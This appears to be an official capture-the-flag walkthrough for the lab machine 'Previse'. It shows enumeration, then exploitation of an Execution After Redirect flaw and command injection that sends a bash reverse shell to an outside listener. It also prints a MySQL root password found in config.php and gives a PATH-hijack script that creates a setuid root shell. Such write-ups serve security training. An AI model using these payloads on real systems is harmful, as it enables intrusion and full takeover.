Previse
Previse
Previse
Difficulty: Easy
Classification: Official
Synopsis
Previse is a easy machine that showcases Execution After Redirect (EAR) which allows users to retrieve the
contents and make requests to accounts.php whilst unauthenticated which leads to abusing PHP's
exec() function since user inputs are not sanitized allowing remote code execution against the target, after
gaining a www-data shell privilege escalation starts with the retrieval and cracking of a custom MD5Crypt
hash which consists of a unicode salt and once cracked allows users to gain SSH access to the target then
abusing a sudo executable script which does not include absolute paths of the functions it utilises which
allows users to perform PATH hijacking on the target to compromise the machine.
Skills Required
Basic web exploitation skills
Basic password cracking skills
Basic Linux privilege escalation skills
Skills Learned
Execution After Redirect (EAR) abuse.
Abusing PHP exec() function
Hash cracking with unicode salt
PATH hijacking
Enumeration
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.104 | grep ^[0-9] | cut -d '/' -f 1 | tr
'\n' ',' | sed s/,$//)
nmap -p$ports -sV 10.10.11.104
The nmap scan shows that SSH and Apache are listening on their default ports. Navigating to the website we
are presented with custom file storage web application and we are taken to
http://10.10.11.104/login.php .
Testing the login with default credentials does not seem to work on this particular web application so we
begin to perform directory enumeration.
gobuster dir -u http://10.10.11.104 -w /usr/share/dirbuster/wordlists/directory-list-
2.3-medium.txt -x php
Checking out the accessible pages, we come to nav.php which returns a navbar.
Execution After Redirect (EAR)
When clicking on create account we are redirected back to the login page. Testing for faulty redirects I
captured the request in BurpSuite and sent the GET request to the repeater tab. After processing a GET
request we see that we have access to the accounts.php if we choose not to follow redirects.
username=testuser&password=password123&confirm=password123&submit=
Analyzing the files contained within the site backup, we notice that the logs.php file is utilising exec()
function and executes a log_process.py passing a POST parameter of $_POST['delim'] .
<?php
session_start();
if (!isset($_SESSION['user'])) {
header('Location: login.php');
exit;
}
?>
<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
header('Location: login.php');
exit;
}
/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////
$filepath = "/var/www/out.log";
$filename = "out.log";
if(file_exists($filepath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
ob_clean(); // Discard data in the output buffer
flush(); // Flush system headers
readfile($filepath);
die();
} else {
http_response_code(404);
die();
}
?>
Visiting the logs.php we see that we can pass a delimiter to seperate log entries.
Passing a basic command injection allows us to gain a shell on the target host so we start a netcat listener,
capture the POST request in BurpSuite when selecting a delimiter and send a crafted URL encoded
payload to gain a shell.
delim=%3bbash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'%3b
Lateral Movement
Reading the contents of config.php we find a MySQL password.
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
Enumerating the databases shows some default datbases and previse database.
Enumerating the tables of the previse database shows we have accounts and files tables.
Saving the hash for m4lwhere user, we then check the accounts.php source code and discover the
method used to encrypt the password hash.
Privilege escalation
Checking the user's sudo entries we see that we can execute /opt/scripts/access_backup.sh .
sudo -l
Reading the script shows that 2 applications are called without absolute paths allowing us to perform a
PATH hijack.
#!/bin/bash
# I know I shouldnt run this as root but I cant figure it out programmatically on my
account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix
it later when there's time
To leverage a root shell we simply export the PATH environmental variable to /tmp and echo a bash script
to execute cp /bin/bash /tmp/bash and chmod 4755 /tmp/bash into gzip and set executable
permissions then execute the sudo command.
cd /tmp
export PATH=/tmp:$PATH
echo -ne '#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod 4755 /tmp/bash' > gzip
chmod +x gzip
sudo /opt/scripts/access_backup.sh
Now we can set our effective UID to root by executing bash with the -p flag.
And finally we can navigate to /root directory and read the root flag.